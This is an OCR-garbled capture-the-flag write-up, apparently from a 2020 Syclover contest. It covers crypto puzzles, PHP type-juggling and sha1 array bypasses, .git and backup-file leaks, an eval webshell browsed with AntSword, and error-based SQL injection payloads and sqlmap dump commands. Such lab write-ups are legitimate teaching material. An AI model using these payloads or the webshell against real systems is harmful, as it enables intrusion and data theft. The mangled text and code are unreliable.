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6. Simple calculation
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78 hint:“The solution of system of linear congruence equations can be provided by the Chinese remainder theorem”
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https://blog.csdn.net/weixin_30451709/article/details/97581118

fla,g . SYC{5051528384}

So*1+S1*14+Sy%x14+S3%x1+S:%x1=3
So*x1+S1*x1+Sy%x1+S3%¥3+8S,%x5=7
So*1+851%2+85%2+S3x3+S,x3=1
So*x1+51*%2+52*%5+953*x3+51x1=1
So*x1+51*2+8,%x1+S3%x2+S,%x1=20

SHIME NZFREREG LR N A E
ms =0 ~A

hitps://blog.csdn.net/gq_46150940

56 PR B A JR A

for SO in (26):
for S1 in (26):
for S2 in (26):
for S3 in (26):
for S4 in (26):
T1=S0+S1+S2+S3+S4
T2=S0+S1+S2+S3*3+S4%*5
T3=S0+S1*2+S2*2+S3*3+S4*3
T4=S0+S1%2+S2*5+S3*3+S4

S0+S1%2+52+53%2+54
(((T1)%26==3) ((T2)%26==7) ((T3)%26==1) ((T4)%26==1) ((T5)%26==20))
print( (S0+65) (S1+65) (S2+65) (S3+65) (S4+65) )
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Crypto.Util.number import
gmpy2 import
secret import p,flag
bytes to_long( (flag,encoding
getPrime(1024)
qrp
(p-1)*(q-1)
0x10001
invert(e,phi )
(pow(flag, e, n))

print(long_to_bytes( (c, d, n)))
print((c,q,n))

Y57 c,q,n e, X flag : flag = pow(c,d,n)

SyiEn, T EIp=1145143, e =0x10001% K+ A65537

import libnum

p = 1145143

q 166836705584681518148179737955842605213272207836752187845124149461151181903779374775281529346854786259719545
6991575088855008189940196181587082127778337684443276586473245550904592336577379509328950187664401199995133317077,
59691054888319029069397903003240927552065429412176600134636921146805408664505115889561043

e = 65537

C = 177177672061025662936587345347268313127241651965256882323180749317515733256088163186914550682635245294414879
8628106547732076446872625964408700944093788493071884857557001387976510399364459984338305162076308587330905816435
92843521203499818069822504434370840254518614785953412492701730326524258672860416318501278155194

libnum.invmod(e, (p-1)*(q-1))

P q

flag (C,d,n)
print(libnum.n2s(flag))
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R flagh® = SYCHx xx_x¢,BRSYCH HAth 7 B/ S
| cipher.txt - ig=& - O et
STHE(F) RIE(E) BIR(0) BE(V) EEIH)
Oowfza errgbbirtgpl ks afiiklr cifgd ho unvhxnigkctm bugokz iaf
chnxhvek tkvgnvf xeccmjkr; errgbbirtgpve aehwektana nte wfavinxe
iequge kbopnuigkogbt ucrwomfu altczrtbpvf, oadjvt uuvi iyiokjbuos
abzqg vo usmnm ig TGP vhxsm vu nh umnts bo dviegfzr

BEATEANE, R—TUFEHE, FERE%ERE LY

BT =#2000= Fl+ 1996 |

NG
hNg v|| EiamHs | UtntsERE E81%ER
wei ji ni ya
B JE W %Y 2 TR
Cipher Text:

Oowfza errgbbirtgpl ks afiiklr cifgd ho unvhxnigkctm bugokz
iaf chnxhwvek tkvgnvi xeccmjkr; errgbbirtgpve achwektana nte
wfavinxe iegquge kbopnuigkogbt ucrwomfu altczrtbpvi, cadjvt
uuvi iyickjbuos abzq vo usmnm ig TGP vhxsm vu nh umnts bo

dviegfzr
%
Cipher Variant: | Classical Vigenere V|
Language: |German V‘
Key Length: 330
(e.g. 8 orarange e.g. 6-10)
Break Cipher ‘ | Clear Cipher Text ‘

Result



https://www.guballa.de/vigenere-solver

Clear text [hide]

Clear text using key "catbin":
Modern cryptography is heavily based on mathematical theory and
computer science practice; cryptographic algorithms are designed

around computaticnal hardness assumptions, making such algorithms
hard to break in 3YC there is no tears in vigenere
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In addition to the GET request method, there is another common request method...



ViEphE, RILTAEA05
¢ C O @ 49234224119:8000
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ZM A IEFIE F
RFAE, BB SRR,

HTTP ERROR 405

% 7R MiZ% & Al Pos request method, Fposti 32 B {5 #32 — 4 welcome, 18 FphpiRig
@ Load URL (http://49.234.224.119:8000/
§ split URL

' Execute

Postdata [ | Referrer 4 OxHEX ™» @% %URL » @ BASE64 I ‘mserrsmhg to replace| | Insert replacing string Replac

Post data K}Nelccme

@z~ KAcCookiesw 2 CSSv ==~ @WEE~ OMmssE~ @t e FSEr ATSY WESHAEY ([mne
AIETCRAFT - Servicesr

EIY Since: New Site Rank: - Site Report Bl [CN] Tencent cloud computing (Beijing) Co., Ltd.

{?php
error reporting(0);
if ($_SERVER[ REQUEST_METHOD'] !== ’'POST') {
header ("HTTP/1.1 405 Method Not Allowed”):
exit():
} oelse {
if (lisset($_POST[ roaml’ 1) lisset ($_POST[ roam?2’ 1)) {
show_source (__FILE ):
}
else if ($_POST[ roaml’] !== $_POST[ roam2’ ] && shal($_POST[ roaml’]) === shal($_POST[ roam?2 1)) {
phpinfo() ; collect information from phpinfo!
}
}

(2L



if (!isset($_POST[ D) isset($_POST[

show_source(__FILE_);
!
J

else if ($_POST[ $ POST[ shal($_POST[ 1) shal($_POST[

phpinfo();

B Fshal(VRBTLEAFEBARR, KR IFiR Efalse. fBroam1flroam1E X EEA, HHKMEFEAR.

Payload aml[ ]=1&roam2[ ]=2

4 spliturL

@ Load URL ( http://49.234.224.119:8000/ l

b Execute

[/ Postdata [ Referrer 4 OxHEX 3B @ %URL 3 K BASEGY 3B  |/nser [ Replace All 2B | =

Post data (roam1[]=1&roam2[]=2 \

g to /s,v"am‘ In:

AIETCRAFY - Services- | [Toolbar Server Error: Service Unavailable]

allow_url fopen \ on

Al o] P N o

arg_separator.input \ &

arg_separator.output N &
N

auto_append file

S e i on N on

@z~ Acookies~ »# CsS~ [~ [@EA~ @REES~ ng SERy RTE> MESFERBY (1R R4
)

auto_prepend _file Jvar/www/html/f1444aagggg.php Avar/www/html/f1444aagggg.php
browscap

default_charset UTF-8 UTF-8

default mimetype text/html textzhtml

disable_classes

disable_functions

display errors off off
display startup_errors off off
doc_root

docref ext

docref root

enable_dI off Off

Vil 3ZAN A, MR KIAMYEES, F12EFmMk, 153 flag
© & 49.234.224.119:8000/11444aag9gg.0hp 3 e T N & @® =

E Haf @I HRE e R [ wahists LSS
Not Found

The requested URL was not found on this server.

O Oz=ss Dese O@Ests N s (emes Quw Orr B o T AEaks 88 oees 0] = X
W Il Q ©® FiE HIML €SS JS XHR ==k E® #& WS Hm [=8ErF Foms 3f
b Pk =71 i s o) 1= o ] EEk Cookie &K 1AM AT

GET B 49.234.224.1... f1444aagggg.php document ' f=-a-]
GET F 49.234.224.1... favicon.ico FaviconlLoader.... html BEF 278 ... P ae4 Not Found @ 2

ue LT a



& 1 A burpsuite L, EFH MRk
Go || Cancel < |+ > |

Request

Raw | Headers | Hex

LIRL/AN

476 13 (b 201 773)

v WAL (275 F19) R
Connection: Keep-Alive
Content-Length: 201
Content-Type: text/html; charset=UTF-8
Date: Thu, 29 Oct 2020 13:59:38 GMT

lag: SYC{w31cOm3_t0_Syc_r0@m_php1}
Keep-Alive: timeout=5, max=100
Server: Apache/2.4.38 (Debian)

X-Powered-By: PHP/7.2.34

— EETEI rAnn v (SN

Response

Raw | Headers | Hex | HTML | Render |

POST Mldddaagggy.php HTTPA 1

Host: 49.234.224.119:8000

User-Agent: Mozilla/5.0 (Windows MT 10.0; WinG4; x64; ne82.0) Geckao/20100101
Firefox/82.0

Accept: text/htrl application/xhtrl+xml, application/xml;g=0.9 image/webp *™* q=0.8
Accept-Language: zh-CN,zh;g=0.8,zh-TW,q=0.7 ,zh-HK;q=0.5 en-US;q=0.3 en;g=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: O

Origin: hitp:/f49.234.224.119:6000

Connection: close

Referer: hitp://49.234.224.119:8000/1444aagggy. php

Upgrade-Insecure-Requests: 1

2. flagshop

BHER: REGBRERBREIRflag, Bl R IX 4 f6 #
R

e

‘ Value

_.. 404 Not Found

_.. Fri, 30 Oct 2020 14:00:29 GMT

_.. Apache/2.4.38 (Debian)

. PHP/7.2.34

_.. SYC{w31c0m3_t0_5yc_r0@m_php1}
_20

-.. close

_.. text/html; charset=UTF-8

<IDOCTYPE HTWML PUBLIC "-/ETF/DTD HTML 2.0/EN>
<html><head>

<title>404 Not Found<fitle>

</head=><hody>

<h1=Not Found</h1=

<p>The requestad URL was not found on this server.</p>
</body></html>

1.No sessionid!Don’t Try to be admin(robot?) 2.Do you know csrf?

Res =
BUG/HRIF/ZE

IGIFRS
md5($code)[0:5] == 7af5f

RERE

REBA MR, EWREE] T K mdSERTRE A



from multiprocessing.dummy import Pool as tp
import hashlib

return hashlib.md5( (text).encode( )) .hexdigest()

def findCode(code):
key code.split(
start (key[@])
end (key[1])
for code in (start, end):
if md5(code)[0:5] knownMd5 :
print(code)

break

.append(str(10000000*1) (10000000 (1+1)))

tp()
(findCode,

3. R B4R
B 8 ST B AR — £ L



XEHAEPREER,

1T, Fview-sourcef~

BEEEY

Chtmd >
<head>
<meta charset="TTF-8" />
<titlesWelcome To Syclover</titlel

</head>
<body>
EREM AR, </p>
<p class=”star”>ﬁfﬁf7<view—suurceﬂEN
Lipr
<{seript sre=". f1ib/L2Dwidget. min. jg” »</script>
<zeript type="text/javascript”>

N N S
MU AW = OO~ D& Wk =

1 L2Dwidget
Lon(’#, (name) =» |
17 console. log( %c EVENT * + "%c -» * + name, background: #222; color: vellow , background:
18 B
19 init(f
20 dialog: 1
21 /f FHEREE
22 enable: true,
23 seript: |
24 /EER 10 B, B8
25 Tevery idle 105" : * Jhitokotod
26 "hover . star’ : FI2E7FERF! 7,
27 “tap body @ ' lsp, EfF—E8 7,
28 : “tap face : " MiHbasesdE—FPiRE MLAVRISR"
29
30 }
3 IOF
32 <fscripty
33 <1--flag=Ul1De0¥ xF 30c 190lE xwinVshGzshGz Y-
34 </bady>
35 </html>
36
Base64 &%

Ul1De0YxQF80c19oNExwZnVshGxshGxY

=
A -
1B

| 0mn || gem | OmmERLI6HEIBR

SYC{F1@ 4s h4lLpfullllll}

4. EZwww

R oA IR

This website has been

{meta http-equiv="¥-UA-Compatible” content="TF=edze”>
{meta name="viewport” content="width=devlce-width, initial-scale=1">

backed up

#E££, color: #000°)



dont forget to post something important to get what you want ~QAQ~

FIEAREFRE—T

This website has been backed up X RESEED
dont forget to post something important to get what you want ~QAQ-~ Al 7 M— LB R PR S R E AT ~QAQ~
D ¥ ) wE A S RUERIE

BB ZH T, BHERRurl/+indexphp.bak, E#Not Found
< C O A 72| 47.100.46.169:3901/index.php.bak

Not Found

The requested URL /index.php.bak was not found on this server.

Apache/24.7 (Ubuntu) Server at 47.100.46.7169 Port 3907

EMYA—T, BB TS

fek4g: [http://47.100.46. 169:3901/ FEE & 1H38E
#3721 |20 o | (5 CPUBB, * 5ER{E) [ DIR: 446889 [] asPx: 42529 [~ #FEMjzo0
- ’ [/] ASF: 297812 [] PHP: 52815 [ £ml403

B |3 | (B ElmnminER ) Emg: 9071 E JSF: 19739 D B
fHEEE: http://47.100. 46. 163:3901/ gr ayce/ LR 20 FHERE : 499/3D

D Hdik HTTEAf) 2

1 http://47.100. 46, 169:3801 fwww. zip 500

2 http: //47.100. 46, 169:3901 /img/ 200
U 19

< 2> C 0O A =2 47.10046.169:3901




This website has been backed up

dont forget to post something important to get what you want ~QAQ~

www.zip ~

R, SO R B A Mag txtsCi, T E bnflag
| flag!tiLixt - igEE

IOEF) \EE) BI(0) EF(V) FEEIH)
SYC{th1s_1s 4 fake flag)|

O =
FLAG IS WRONG

.

FE SR BLHE A Nindex.php X, 77T B Zphp g, #7573 RERZAAM & it 7 &

4 index.php

>Lola's websitel.@</

<?php echo '<hl>welcome to my website</hl>"; ?>
<?php echo '<p>i will never forget to backup my website
?>




<?php echo '<img src="img/lola.gif" alt="welcome~"/>"; ?>
</ >

</ >

<?php

$keyl = $_POST['a'];

$key2 = base64_decode('c31jbDB2ZXI=");

($key1l $key2)
{

echo '<p>SYC{XXXXXXXXXXXXXXXXXX}</p>";

}

? > hitps://blog.csdn.net/qq_46150940

LK BAS S R # it

$ _POST[ IIs
base64 decode(
$key2)

postfI T RIBRX — N Ea, WRLEaNESFRE 31jbDB22XI= Base64 g5 HIMEHZ, N<HHifag.



Plposti RIEAZ a=syclever , EZtrue flag.

@ Load URL fhttp:j/47.100.46.1 69:3901/index.php

& split URL

e Execute

Post data

y
Post data a=syclOver

L] Referrer 4 OxHEX ™ & %URL ™ &% BASEG4 B

Insert string to replace

@z~ ACookiesv » Cssv (A==~ @EA~ QRAEE~ HEkhesy Jncy JEgr AT~ MESRAH NERT
MIETCRAFT - Services- skRANZ . Since: New Site Rank: - Site Report [l [CN] Aliyun Computing Co., LTD

This website has been backed up

dont forget to post something important to get what you want ~QAQ~

SYC{Backup 1s 4 good h4bit I0l}

5. EZgit



This website is still under construction

do u no what is githack ?

FTFcemd, ik \githack# iz

R

python2 GitHack.py http:

EHE&A: C\Windows\system32\cmd.exe

\webtools\GitHack\GitHack-master>g " o
ttp ] 1948

TEC T RILT fidg.php
> thEEfE > FR{E (D) > CTF > webtools » GitHack > GitHack-master > dist > 47.100.46.169 3902

~ EFR =M A=A =i Fo/h

7 flag.php 2020/10/18 20:01  PHP 3% 1KB



7, RIFRlag
fl4g.php - 2+ B - "
IHEF) SEE) ER(0) ES(V) HEEIH)
flag is toooo old!

Rz A RS MR, ity 1s -a, A FRRBSCHEE git

fl4ag. pho

MIT_EDITMSG description

config HEAD index

—HEHEIE cd .., RFHEM git log MR EFRRILK, FET —Mag

CTF /v /GitHack/GitHack-master/

/GitHack/GitHack-master/

5d (HEAD -> master)

(] . COm:

https://blog.csdn.net/gg_461

=)

git diff 3796466675aldb323e42170def92bee71344a2ee




commit 3796466675aldb323e42170def92beer1344a2ee
Author: Lola39 <1353714565@qq. com>
Date: Sat Sep 26 23:37:00 2020 +0800

flag

/d/CTF /webtools/GitHack/GitHack-master/dis
t/47.100.46.169_3902 (master)
$ git diff 3796466675aldb323e42170def92bee71344a2¢ee
diff --git a/fl4g.php b/fl4qg.php
index 05b9263..cab6e86 100644
--- a/fl4g.php
+++ b/fl4g.php
@ -1 +1 @@

https://blog.csdn.netlqq_46150940

2% https://lwww.cnblogs.com/anweilx/p/12453703.html

R B ANHLEXH: R K

hitps:/blog.csdn.net/qq_46150940.

ETRINL, H—Bphpflrg

)
__FILE_);
$_GET[ 1;
$ POST[ 1;
if ($username $passwd
echo $flag;




Fgetfe A\&Husername=admin, Fpostté \Z$ipasswd =sycloverBl 7] 1§ F|flag
@& Load URL "'-http:j,-"106.54.?5z 8080/?username=admin
& Split URL
J Execute
Postdata [ Referrer @ OxHEX M» @ % &% BASEG4 I Replace All 3 :

Post data [ passwd=syclover

~ ACookiesv # Cssv [des~ @EK~ @RusE- @y Amor JaEn ATE- m=s

)ICKA" - Services- | [Toolbar Server Error: Service Unavailable]

https://blog.csdn.net/gq_46150940

R
iR, BEXHEMAMSRRERMT TR, K/DEHET

HUZITU¢

https:/blog.csdn.net/qq_46150940

FTFF M
4p liuzhuang.php.bak
1 <?php
2 eval($_POST[ 'liuzhuang']);
3




W B B

mt =T
Q & X AT MR
B EaliEn v
URLHtRE * http://39.106.144.160:100/liuzhuang.php
HEED liuzhuang
Fluh &5
REEE UTFS v
EEZA PHP v
default (T#5)
random ()
baset4
-
2 EkiEE A
of Hites A
flag i 7E1X /N 3 3E
@ FEWNE ] X
AntSword HBE &HO @&
« = [139.106.144.160 -
o BxE¥IE (20) < | O3y (26) rS
=)/ OHE ~ o LE Z R & FHF NPE ~ / > iEE
. var &5 A 45 Ko Bt
B app — .
M bin O media 2016-01-19 12:49:59 4Kb 0755
= boot DO mnt 2014-04-10 22:12:14 4Kb 0755
o ey O opt 2016-01-19 12:49:59 4 Kb 0755
. e O proc 2020-10-12 11:33:09 0b 0555
M home O root 2020-10-12 12:20:52 4 Kb 0700
. ib 0O run 2020-10-12 11:33:16 4K 0755
.G (O sbin 2016-01-19 23:31:22 4Kb 0755
M media
N O s 2016-01-19 12:49:59 4Kb 0755
W mnt
O sys 2020-10-12 11:33:09 ob 0555
I opt
M o O tmp 2020-11-06 14:51:34 4Kb 1777
M oot O usr 2016-02-15 10:34:39 4Kb 0755
M O var 2016-02-15 10:35:01 4 Kb 0755
= sbin .dockerenv 2020-10-12 11:33:09 0b 0755
o sy create_mysql_admin_user.sh 2016-02-15 10:34:07 1.1 Kb 0735




4

sy 3 flag 2020-10-12 13:17:30 23b 0644
- tmp run.sh 2016-02-15 10:34:07 549 b 0755

= N
He start-apache2.sh 2016-02-15 10:34:07 67b 0755

start-mysqld.s -02- 134
B start-mysqld.sh 2016-02-15 10:34:07 29b 0755
=R Sl
8. ezbypass

Rom: fRAERES BA RBEEEG?

Please use a GET request to pass in the variables a and b, compare them with stremp and let stremp return a value of NULL.

Note that a and b cannot be equal.

RAAEREEAE:

B AGETIERENEEaMb, K EfISstremp#iTHE, FHikstrempiR EINULLAE .

EEafb A REAHS .

payload: ’a 1&b 2




@ Lload URL http://49.234.224.119:7417/%a[]=1&b[]=2
& split URL
e Execute

[] Post data

[] Referrer 4™ OxHEX ™ & %URL ™ & BASEc4 ™ Insert string to replace
@z~ &AcCookiesv s cssv A=y @EK~ QRIS Q=i Aoy JEkr ATS MESFRE %R
#l..-l' v Servicest |  e—

RIskRINZ. Since: New Site Rank: 401059 Site Report Bl [CN] Tencent cloud computing (Beijing) Co., Ltd.

OKOK,You got the first step.

Please POST a variable c that is not a number to make it equal to 123

BRERZ—MAEH TS e, HHEFT123
TEphprh R L RS, (1230’ == 123)8 K, FTAFAIpost— 1S4 c=123a

@ Lload URL [ httpy//49.234.224.119:7417/?a[]=1&b[]=2
i split URL
» Execute
Postdata [| Referrer 4 OxHEX ™ &% %URL ¥ &% BASE64 P Insert string to replace E
Post data c=123a

@z=m~ dcCookiesw 2 CsSv [J=m~ @EK~ @WmEE~Y @etthas Jincy SRy ATE~ MEEERAEY L&
MIETCRAFT - Services~

FiskRANE_ Since: New Site Rank: 401059 Site Report Bl [CN] Tencent cloud computing (Beijing) Co., Ltd.
nice!!'You got it

SYC{php_4s so_funny}

9. &\ AN

R R AR T R AN, BolE R B KRR T bR
FILEA



id=1', MEIRERKE, AWFEsqHREEN

@ Load URL (http://49.234.224.119:7415/%id=11
% split URL

) Execute

[ Postdata [ Referrer 4 OxHEX M 4% %URL 3 4% BASE64 I

@~ ACookiesv # CSs~ [t~ @EK~ QRREE~ @Rt JHdr SRy ATR- MESFAG- (E5E-
AMTCREFT - Servicess | ERIE Since: New Site Rank: 202218 Site Report Hll [CN] Tencent cloud computing (Bejjing) Co.. Ltd,

in. tring to rep| [ Replace All 3 | ™=

'ou have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near "1™ at line 1

n.netiqq_46150940

f# F extractvalue RN, EFIFIEFEL N ~geek_sql

Payload: ?id=1'“extractvalue(1,concat(@x7e,(select(database()))))%23

& Load URL /http:fj49.234.224.119:7415f?id=“l‘"e)(tractvalue(1,concat(Ox?e,[select[database()))))%23|

% split URL

» Execute

[] Postdata [] Referrer 4 OxHEX ¥» % %URL ¥ &% EBASEGS

@z~ AcCookiesw » CsSv [Ae=m~ @ER~ @RmEE- Datmae Jmcr J Rk ATS- WESFERE- (1)Emn-
AIETCRAFT - Services: | EEITE Since: New Site Rank: 202218 Site Report Bl [CN] Tencent cloud computing (Beijing) Co., Ltd.

Insert replacing string Replace

Insert string to replace

'~geek_sql

BERYG, BRI T4 fl111ag KK

geek sql')))%23

@ Load URL fhttp://49.234.224.119:741 5/?id=1"Aextractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='gﬁ-ek_sq\‘)))%23|
% split URL

Execute

[JPostdata [ Referrer 4 OxHEX & % %URL M % BASE64 I  |/nserts

@z~ Acookiesv y Cssv [l=my @EA~ OREESY Datnwy Amoy Senr AT WESFS [LEEy
)"C!é" - Servicesr | memamZ Since: New Site Rank: 202218 Site Report Hll [CN] Tencent cloud computing (Beijing) Co., Ltd.

g Replace All ¥ @ =

Insert reg

tring to replace|

PATH syntax error: "~blog,fllllag’

46150940

B4, FlHN fllllllag

fllllag')))%23




@ Load URL /hrtp:j/49.234.224.119:?41 5/%id=1'hextractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name:'fl\l\ag'))j%23|
% split URL

» Execute

[] postdata [ ] Referrer 4 OxHEX 3 & %URL 3B &K BASERYd B Insert string to replace
@ &Cookiesw # Cssv [A=my @ERA~ QREEE~ @ity Jmiy Sie KT MEERREy [Lshe
AETCREFT - Services- | (WEEITE Since: New Site Rank: 202218 Site Report Bll [CN] Tencent cloud computing (Beijing) Co., Ltd.

Replace All :

PATH syntax error: "~id,fllllllag’

id=1"'”extractvalue(1,concat(@x7e, (select group_concat(fllllllag) from fllllag)))%23

e oL e oo LI w Lo Lavaassy g PRV T T T T A

@ Load URL /http:i/49.234.224.119:?41 5/2id=1"Aextractvalue(1,concat(0x7e, (select group_concat(fllllllag) from fllllag)))%23)|

W spliturL

4 Execute

[]postdata [] Referrer 4 OxHEX 3» 4% %URL ¥ % BASE64 I Insert string to replac]

@z~ ACookies # Css~ [I=mr @EA~ @REES- Bt Jmoy Fagr AR WMESFET LEE-
MJETCRAFT - Servicess | il Since: New Site Rank: 202218 Site Report Blll [CN] Tencent cloud computing (Beiiing) Co.. Ltd.

~placing string Replace All

PATH syntax error: "~welcome_to_syclover,longlone_ne’

BAEREEIHNA, extractvalue() BEE TR H KR AKEAI2,52lflag

id=1"'"extractvalue(1,concat(0x7e, (select fllllllag from fllllag limit 2,1)))%23

@ Load URL /http:f,!49.234.224.119:741 5/?id=1"Aextractvalue(1,concat(0x7e,(select flllllag from fllllag limit 211)))%23|

% split URL

» Execute

[ ] Postdata [ | Referrer 4 OxHEX 3» @% %URL 3» 4% BASE64 I ‘.-‘.v: t stril replacing string| [] Replace All
@z~ AcCookiesw »# CsS [em- @EE~ @Rmsay Eetihesy Amicy FEwy A2 EMESHRKE- [1EnY

AMETCRAFT - Services- | il Since: New Site Rank: 202218 Site Report Bl [CN] Tencent cloud computing (Beijing) Co.. Ltd.

PATH syntax error: '~SYC{liuzhuang_4s_@_G00d_m@n}'

£ A sqlmapiE A\
1 SR

python2 sqlmap.py -u dbs



web application technology: PHP 7. 3.11, Nginx
back—end DBMS: MySQL >= 5.0

vailable databases [5]:
k| geek sqgl
information scilCme
mysql
performance_schema
ceet https://blog.csdn.net/qq_46150940

2 B

python2 sqlmap.py -u D geek _sql --tables

web application technology: PHP 7.3.11, Nginx
back—end DBMS: MySQL >= 5.0

https://blog.csdn.netlqq_46150940

python2 sqlmap.py -u T fllllag columns

web application technology: PHP 7.3.11, Nginx
. QL

G| missing database parameter. s is going to use the current database

Database: geek sql
Table: fllllag
2 columns]

hitps://blog.csdn.netlgg_46150940

python2 sqlmap.py -u T fllllag -C f1llllllag --dump




log.csdn.net/qq_46

https://www.cnblogs.com/erRORatao/p/14023017.html
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